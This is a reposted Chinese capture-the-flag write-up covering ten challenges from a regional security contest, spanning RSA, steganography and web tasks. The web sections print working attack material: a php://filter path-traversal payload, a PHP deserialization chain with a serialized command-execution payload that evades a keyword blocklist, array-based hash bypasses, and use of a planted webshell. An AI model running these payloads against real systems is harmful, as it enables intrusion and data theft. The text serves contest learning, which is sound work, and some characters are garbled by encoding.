師傅們,我太菜了,除了最后一個(gè)小時(shí)都還在前20名,結(jié)果最后一個(gè)小時(shí)被踢下去了,做了一道少解的題目也掩飾潰敗,被打服了,直接被踢出前40名,babyrsa到底怎么解,嗚嗚!被打服了!!!!!!!以下是我們隊(duì)伍的10道題目的wp。
題目一 Crypto-我看看誰還不會(huì)RSA
操作內(nèi)容:
看到該題之后發(fā)現(xiàn)是私鑰加密,公鑰解密
腳本代碼:
from Crypto.Util.number import *
c=8232151627233115772131180151146951323147507324390914513031444555762539986162650
p=8666789885346075954502743436174521501697
q=2449101960789395782044494299423558347143
n = p*q
phin = (p-1)*(q-1)
e=37777
m = pow(c,e,n)
print(long_to_bytes(m))
flag值:
flag{r5a_Who_w0nt}
題目二 Misc-來都來了
操作內(nèi)容:
打開壓縮包發(fā)現(xiàn)有密碼
用010工具打開發(fā)現(xiàn)是偽加密
把09改為00,之后即可解壓縮,壓縮之后的內(nèi)容為
Base64解密之后把解密內(nèi)容縮小
flag值:
flag{cp2ae315-eef4-3fra-a768-cd9xb19cdk4e}
題目三 Cypto-hakiehs
操作內(nèi)容:
通過圖片形式打開,有3種類型的密碼
在網(wǎng)上查找到了3種密碼對(duì)應(yīng)的密碼表
對(duì)應(yīng)密碼表得到相應(yīng)的字母是linkzeldadanon及為flag
flag值:
flag{linkzeldaganon}
題目四 Misc-Honor
操作內(nèi)容:
foremost分離圖片:foremost -T 圖片
發(fā)現(xiàn)有一個(gè)jpg文件
用stegdetect分析存在隱寫
用stegseek使用rockyou輸入命令爆破密碼
進(jìn)行柵欄w型解密
flag值:
flag{424c076e-768c-3636-acb5-4676900b9eec}
題目五 get_source
操作內(nèi)容:
訪問頁面發(fā)現(xiàn)無內(nèi)容,但通過返回包可發(fā)現(xiàn)php版本7.4.21
可利用Development Server源碼泄露漏洞源碼泄露漏洞
得到源碼后分析,md5和sha1可用數(shù)組繞過
post傳參a[]=1&b[]=2&pwn[]=1 訪問頁面得到flag
flag值:
動(dòng)態(tài)flag不給了
題目六 Web-ApeCoin
操作內(nèi)容:
頁面無明顯漏洞點(diǎn) 考慮源碼泄露
訪問/www.tar.gz發(fā)現(xiàn)源碼泄露
在static/font目錄下發(fā)現(xiàn)可疑文件.txt.php
打開后發(fā)現(xiàn)為冰蝎馬
根據(jù)特征解密得到鏈接密碼74658263
冰蝎鏈接找到flag
flag值:
flag{59366e97-4d45-4338-9056-4f06b0493df2}
題目七 Web-Easyphp
操作內(nèi)容:
進(jìn)入頁面發(fā)現(xiàn)require_once文件包含
但flag.php已被包含過一次
用用偽協(xié)議配合多級(jí)符號(hào)鏈接的辦法進(jìn)行繞過
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/usr/share/nginx/html/index.php
但是發(fā)現(xiàn)flag為假
之后考慮包含頁面出現(xiàn)的hint.php
發(fā)現(xiàn)該頁面反序列化命令執(zhí)行
源代碼為
<?php
error_reporting(0);
class mouse
{
??? public $rice;
??? function __isset($n){
??????? $this->rice->nothing();
??? }
}
class dog
{
??? public $a;
??? public $b;
??? public $c;
??? function __wakeup(){
??????? $this->a = 'chance?';
??? }
??? function __destruct(){
??????? $this->b = $this->c;
??????? die($this->a);
??? }
}
class ct
{
??? public $fish;
??? function __toString()
??? {
??????? if(isset($this->fish->d))
??????? {
??????????? echo 'you wrong';
??????? }
??? }
}
class get
{
??? public $cmd;
??? function __call($name,$no)
??? {
??????? eval($this->cmd);
??? }
}
$pop = $_GET['pop'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|base|echo|cp|\$|\*|\+|\^|scan|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$pop)){
??? echo "you will get flag".'</br>';
??? unserialize($pop);
}
else{
??? die("Try again!");
}
分析反序化鏈
從 dog->ct->mouse->get構(gòu)造 payload 繞過正則
編寫反序列化腳本
<?php
class mouse
{
??? public $rice;
??? function __construct()
??? {
??????? $this->rice = new get;
??? }
}
class dog
{
??? public $a;
??? public $b;
??? public $c;
??? function __construct()
??? {
??????? $this->a = 'chance?';
??????? $this->b = &$this->a;
??????? $this->c = new ct;
??? }
}
class ct
{
??? public $fish;
??? function __construct()
??? {
??????? $this->fish = new mouse;
??? }
}
class get
{
??? public $cmd;
??? function __construct()
??? {
??????? $this->cmd = 'print(`c\at /realflag/you_want_flag.php`);';
??? }
}
print_r(serialize(new dog));
運(yùn)行得到
O:3:"dog":3:{s:1:"a";s:7:"chance?";s:1:"b";R:2;s:1:"c";O:2:"ct":1:{s:4:"fish";O:5:"mouse":1:{s:4:"rice";O:3:"get":1:{s:3:"cmd";s:42:"print(`c\at /realflag/you_want_flag.php`);";}}}}
傳參后f12得到flag
flag值:
動(dòng)態(tài)flag,不給了
題目八 ezupload
操作內(nèi)容:
爆破目錄發(fā)現(xiàn)/flag目錄下有內(nèi)容
訪問發(fā)現(xiàn)為flag
flag值:
flag{4a384594-7550-4544-b256-66d18640a478}
題目九 Crypto-font
操作內(nèi)容:腦洞一套炸了
打開圖片詳細(xì)信息
◎???¤?♀??§??????♂¤??????§◎????????√
???√?◎??♂?√????????√???♂????
通過在瀏覽器上發(fā)現(xiàn)了一句英文串描述該圖片
theQuickbrownfoxjumpsoverthelazydog,
發(fā)現(xiàn)與◎???¤?♀??§??????♂¤??????§◎????????√一一對(duì)應(yīng)正好36個(gè)
字母表為
√:g;?:0;?? d;?? y;?? z;?? a;?? l;? e;? h;◎? t;§? r;?? e;?? v;?? o;?? s;? p;?? m;¤? u;♂? j;? x;? o;?? f;?? n;?? w;? o;§? r;?? b;?? k;♀? c;?? i;¤ u;? q;?? e;? h;◎? t
根據(jù)???√?◎??♂?√????????√???♂????一一對(duì)應(yīng)到字母表上
是qtsyjfgvbndhflhgfnmjfhko就是flag
flag值:
flag{qtsyjfgvbndhflhgfnmjfhko}
題目十 Misc-芙寧娜
操作內(nèi)容:
某電信原題,最后8e8f,不好多說,之前的wp也可水
'ZmxhZ3tiYzgzOTRhYS03ZTMyLTQ3ZTgtYTlmZC0xYmY2ODNhZg=='
flag{bc8394aa-7e32-47e8-a9fd-1bf683af
通過ps的元數(shù)據(jù)可以得到被遮蓋的16進(jìn)制編碼,通過重組還原得到?個(gè)pyc??件,pyc隱寫得到8e8f}?
拼接可得flag
第二種方法:
爆破找?guī)讉€(gè)慢慢提交,反正沒有提交限制,就是流量大,比賽時(shí)候,真的只有這個(gè)方法最實(shí)用
import string
chars = string.ascii_lowercase + string.digits
flag = "flag{bc8394aa-7e32-47e8-a9fd-1bf683af"
with open(r"C:\Users\Administrator\Desktop\23.txt", "w") as file:
??? for a in chars:
??????? for b in chars:
??????????? for c in chars:
??????????????? for d in chars:
??????????????????? current_flag = flag + a + b + c + d + "}"
??????????????????? file.write(current_flag + "\n")
print("結(jié)果已保存在桌面上")
爆破腳本附上!文章來源:http://www.zghlxwxcb.cn/news/detail-758380.html
flag值:
flag{bc8394aa-7e32-47e8-a9fd-1bf683af8e8f}文章來源地址http://www.zghlxwxcb.cn/news/detail-758380.html
到了這里,關(guān)于河南省第五屆“金盾信安杯”網(wǎng)絡(luò)與數(shù)據(jù)安全大賽-WP的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!